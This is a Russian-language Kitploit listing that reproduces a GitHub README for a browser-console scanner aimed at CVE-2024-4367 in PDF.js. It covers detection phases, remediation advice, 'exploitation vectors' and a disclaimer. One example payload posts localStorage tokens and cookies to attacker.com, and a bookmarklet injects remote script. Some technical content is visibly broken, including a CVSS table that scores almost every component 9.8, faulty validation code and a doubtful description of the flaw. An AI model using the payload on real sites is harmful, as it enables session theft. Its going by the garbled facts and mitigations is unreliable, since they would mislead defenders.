Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pdf.js-CVE-2024-4367 — SCAN END POC THE CVE-2024-4367 | Kitploit
Инструменты/GitHubGitHub/veronimo669/pdf.js-cve-2024-4367
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubveronimo669/pdf.js-cve-2024-4367

pdf.js-CVE-2024-4367

SCAN END POC THE CVE-2024-4367

Репозиторий
1122 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🚨 CVE-2024-4367 - Универсальный сканер уязвимости PDF.js

⚠️ КРИТИЧЕСКИЙ ИНСТРУМЕНТ БЕЗОПАСНОСТИ | Обнаруживает CVE-2024-4367 (CVSS 9.8) - Удаленное выполнение кода в PDF.js

Version CVSS CVE License

Работает на ЛЮБОМ сайте - Нулевая настройка


📋 Содержание

  • 📖 Обзор
  • ⚡ Быстрый старт
  • 🔍 Что обнаруживает
  • 🛠️ Как это работает
  • 📊 Примеры вывода
  • 🔒 Руководство по устранению
  • 🎯 Векторы эксплуатации
  • 🧪 Инструкции по тестированию
  • 📝 Технические детали
  • ⚠️ Правовое предупреждение
  • 📚 Ссылки

📖 Обзор

CVE-2024-4367 — это критическая уязвимость в PDF.js (версии < 4.2.67), которая позволяет выполнять произвольный JavaScript через вредоносные PDF-файлы. Этот сканер автоматически обнаруживает уязвимые экземпляры PDF.js на ЛЮБОМ сайте.

Чем этот сканер отличается

  • ✅ Нулевая настройка - Работает на любом сайте мгновенно
  • ✅ Универсальное обнаружение - Сканирует все JavaScript-бандлы
  • ✅ Без зависимостей - Чистый JavaScript
  • ✅ Proof of Concept - Генерирует тестовый PDF
  • ✅ Практические результаты - Четкие шаги по устранению

Уязвимость

PDF.js содержит ошибку, из-за которой JavaScript, встроенный в PDF-файлы, выполняется без надлежащей изоляции, что позволяет злоумышленникам:

  • 🏴‍☠️ Красть токены аутентификации из localStorage/sessionStorage
  • 🍪 Извлекать сессионные куки
  • 📁 Получать доступ к локальным файлам (если Electron/настольное приложение)
  • 🔐 Выполнять действия от имени жертвы, используя украденные учетные данные
  • 🌐 Перемещаться по внутренним сетям через XSS

⚡ Быстрый старт

Метод 1: Консоль браузера (самый простой)

  1. Откройте целевой веб-сайт
  2. Нажмите F12, чтобы открыть Инструменты разработчика
  3. Перейдите на вкладку Консоль
  4. Вставьте весь скрипт сканера
  5. Нажмите Enter
  6. Просмотрите визуальные результаты на экране!

Метод 2: Букмарклет

Создайте закладку с этим URL:

root@kitploit:~
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

Метод 3: Прямая загрузка

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Откройте любой сайт и запустите скрипт

🔍 Что обнаруживает

Фаза 1: Сканирование JavaScript-бандлов

  • ✅ Определение версии PDF.js
  • ✅ Идентификация уязвимых версий (< 4.2.67)
  • ✅ Ссылки на package.json
  • ✅ Пути к node_modules

Фаза 2: Идентификация PDF-просмотрщиков

  • ✅ Просмотрщики PDF в ``
  • ✅ Элементы <embed>
  • ✅ Теги данных <object>
  • ✅ Пользовательские контейнеры просмотрщиков PDF
  • ✅ Рендеры на основе Canvas

Фаза 3: Векторы эксплуатации

  • ✅ Параметры URL (?pdf=, ?file=, ?src=)
  • ✅ Формы загрузки PDF
  • ✅ Поля ввода файлов, принимающие .pdf
  • ✅ Конечные точки API с путями к PDF

Фаза 4: Визуальные индикаторы

  • ✅ Статус уязвимости в реальном времени
  • ✅ Скачиваемый proof-of-concept PDF
  • ✅ Наложение на DOM в реальном времени

🛠️ Как это работает

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                    ПОТОК ПРОЦЕССА СКАНИРОВАНИЯ              │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 ЗАГРУЗКА СКРИПТОВ                                    │
│     ├─ Внешние скрипты (все <script src="">)              │
│     └─ Встроенные скрипты (все теги <script>)              │
│                                                             │
│  2. 🔍 ИЗВЛЕЧЕНИЕ ВЕРСИИ PDF.JS                            │
│     ├─ Сопоставление с шаблонами в коде                    │
│     ├─ Обнаружение package.json                            │
│     └─ Анализ путей node_modules                           │
│                                                             │
│  3. 🎯 ОПРЕДЕЛЕНИЕ УЯЗВИМОСТИ                               │
│     ├─ версия < 4.2.67 ? → УЯЗВИМ                          │
│     └─ версия = 2.16.105 ? → УЯЗВИМ                        │
│                                                             │
│  4. 🖼️ ПОИСК ПРОСМОТРЩИКОВ                                  │
│     ├─ Сканирование DOM-элементов                          │
│     └─ Обнаружение атрибутов                               │
│                                                             │
│  5. ⚡ ГЕНЕРАЦИЯ POC                                        │
│     ├─ Создание тестового PDF                              │
│     └─ Предоставление ссылки для скачивания                │
│                                                             │
│  6. 📊 ОТОБРАЖЕНИЕ РЕЗУЛЬТАТОВ                              │
│     ├─ Визуальное наложение                                │
│     ├─ Отчет в консоли                                     │
│     └─ Хранение в глобальной переменной                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘

📊 Примеры вывода

Вывод в консоль

root@kitploit:~
╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - УНИВЕРСАЛЬНЫЙ СКАНЕР PDF.js                     ║
║              Обнаруживает уязвимые версии PDF.js и потенциальную эксплуатацию      ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 ФАЗА 1: Сканирование JavaScript-бандлов на PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Найдено 42 внешних скрипта
[+] Найдено 12 встроенных скриптов
   [1/42] Анализ: vendor.bundle.js
      → Обнаружен индикатор PDF.js: pdfjs-dist
      ✅ Найдена версия PDF.js: 2.16.105
      🚨 УЯЗВИМ к CVE-2024-4367!

🎯 ФАЗА 4: Определение векторов эксплуатации
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ Параметр URL принимает PDF: file=/documents/report.pdf
   ⚠️ Найдена форма загрузки PDF

█████████████████████████████████████████████████████████████████████████████████
                          ИТОГОВЫЙ ОТЧЕТ СКАНИРОВАНИЯ
█████████████████████████████████████████████████████████████████████████████████

🚨 КРИТИЧЕСКАЯ УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА!
   CVE: CVE-2024-4367
   CVSS: 9.8 (КРИТИЧЕСКИЙ)
   Воздействие: Произвольное выполнение JavaScript

Визуальное наложение

Наложение сканера

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  РЕЗУЛЬТАТЫ СКАНИРОВАНИЯ CVE-2024-4367                   │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 Цель: example.com                                      │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 Уязвим: ДА                                             │
│  📄 Просмотрщиков: 3                                       │
│  ⚡ Векторов: 2                                            │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 КРИТИЧЕСКИЙ - Требуется обновление                     │
└─────────────────────────────────────────────────────────────┘

🔒 Руководство по устранению

Немедленные действия

1. Обновление PDF.js (рекомендуется)

root@kitploit:~
# Для проектов Node.js
npm install pdfjs-dist@latest

# Для использования CDN
# Обновите до версии 4.2.67 или выше

2. Отключение выполнения JavaScript

root@kitploit:~
// Установите это перед загрузкой PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

3. Политика безопасности контента (CSP)

root@kitploit:~
Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

4. Валидация ввода

root@kitploit:~
// Проверка PDF-файлов перед рендерингом
function validatePDF(file) {
    // Проверка магических байтов
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('Некорректный PDF-файл');
    }
    
    // Сканирование на наличие JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('PDF содержит JavaScript');
    }
}

Долгосрочные решения


🎯 Векторы эксплуатации

Обнаруженные распространенные векторы

  1. Параметры URL

    root@kitploit:~
    /viewer?file=malicious.pdf
    /download?pdf=malicious.pdf
    
  2. Загрузка файлов

    root@kitploit:~
    <input type="file" accept=".pdf">
    
  3. Встроенные просмотрщики

    root@kitploit:~
    
    <embed src="malicious.pdf">
    
  4. Конечные точки API

    root@kitploit:~
    /api/documents/123/download
    /api/report/pdf
    

Пример вредоносной нагрузки

root@kitploit:~
// Встроенный JavaScript в PDF
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

🧪 Инструкции по тестированию

Пошаговый тест

  1. Установите сканер

    root@kitploit:~
    git clone https://github.com/yourusername/CVE-2024-4367-Scanner
    
  2. Запустите сканер

    root@kitploit:~
    # Откройте целевой веб-сайт
    # Вставьте сканер в консоль
    # Или используйте букмарклет
    
  3. Проанализируйте результаты

    • Ищите статус "УЯЗВИМ"
    • Запомните версию PDF.js
    • Проверьте векторы эксплуатации
  4. Скачайте POC PDF (если уязвим)

    • Нажмите кнопку загрузки
    • Загрузите/откройте PDF
    • Наблюдайте выполнение JavaScript
  5. Примените исправления

    • Обновите PDF.js
    • Реализуйте CSP
    • Валидируйте ввод

Ожидаемые результаты

СценарийРезультат
PDF.js 2.16.105🔴 КРИТИЧЕСКИЙ
PDF.js 3.x🔴 УЯЗВИМ
PDF.js 4.0.x🔴 УЯЗВИМ
PDF.js 4.2.67+

📝 Технические детали

Проверка версии

root@kitploit:~
// Уязвимые версии
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITICAL' },
    { version: '3.x.x', status: 'CRITICAL' },
    { version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];

// Безопасная версия
const SAFE_VERSION = '4.2.67';

Хронология уязвимости

ДатаСобытие
2024-04-23Уязвимость обнаружена
2024-04-24Присвоен CVE-2024-4367
2024-04-25Выпущен патч (4.2.67)

Разбивка оценки CVSS


⚠️ Правовое предупреждение

ВАЖНО: Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей.

  • ✅ МОЖНО использовать на своих собственных веб-сайтах
  • ✅ МОЖНО использовать с явного разрешения
  • ✅ МОЖНО использовать в исследовательских целях безопасности
  • ❌ НЕЛЬЗЯ использовать на несанкционированных системах
  • ❌ НЕЛЬЗЯ использовать в злонамеренных целях

Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.


📚 Ссылки

Официальные ресурсы

  • CVE-2024-4367 - NIST NVD
  • Уведомление безопасности PDF.js
  • Блог безопасности Mozilla

Связанные уязвимости

  • CVE-2024-4367 - RCE в PDF.js
  • CVE-2023-xxxx - Предыдущие проблемы PDF.js
  • XSS через PDF.js в веб-приложениях

Инструменты и ресурсы

  • Официальный репозиторий PDF.js
  • OWASP XSS Prevention
  • Справочник по CSP

Исследовательские работы

  • Анализ безопасности PDF.js
  • Риски рендеринга PDF на стороне клиента

🤝 Вклад в проект

Вклад приветствуется! Пожалуйста:

  1. Сделайте форк репозитория
  2. Создайте ветку для функции
  3. Отправьте pull request
  4. Следуйте стилю кода

Настройка разработки

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Внесите свои изменения
# Протестируйте на нескольких сайтах
# Отправьте PR

📄 Лицензия

Этот проект лицензирован под лицензией MIT - подробности см. в файле LICENSE.


🌟 Поддержка

Если вы нашли этот инструмент полезным:

  • ⭐ Поставьте звезду репозиторию
  • 🐛 Сообщайте о проблемах
  • 📝 Пишите документацию
  • 🔧 Отправляйте исправления

🛡️ Оставайтесь в безопасности. Тестируйте рано. Тестируйте часто.

Сделано с ❤️ сообществом безопасности

Сообщить о проблеме • Поставить звезду на GitHub • Читать документацию

Скачать инструмент
РешениеСложностьЭффективность
Обновление PDF.jsЛегкая✅ Полное исправление
Отключение JS в PDF.jsЛегкая✅ Полное исправление
Внедрение CSPСредняя✅ Хорошая
Валидация на сервереСредняя✅ Хорошая
Изолированный рендерингСложная✅ Отличная
✅ БЕЗОПАСНО
PDF.js отсутствуетℹ️ БЕЗОПАСНО
2024-04-26Публичное раскрытие
2024-05-01Наблюдались попытки эксплуатации
КомпонентОценка
Вектор атакиСетевой (9.8)
Сложность атакиНизкая (9.8)
Требуемые привилегииОтсутствуют (9.8)
Взаимодействие с пользователемТребуется (8.8)
Область действияИзменена (9.1)
КонфиденциальностьВысокая (9.8)
ЦелостностьВысокая (9.8)
ДоступностьВысокая (9.8)
Итого9.8 (КРИТИЧЕСКИЙ)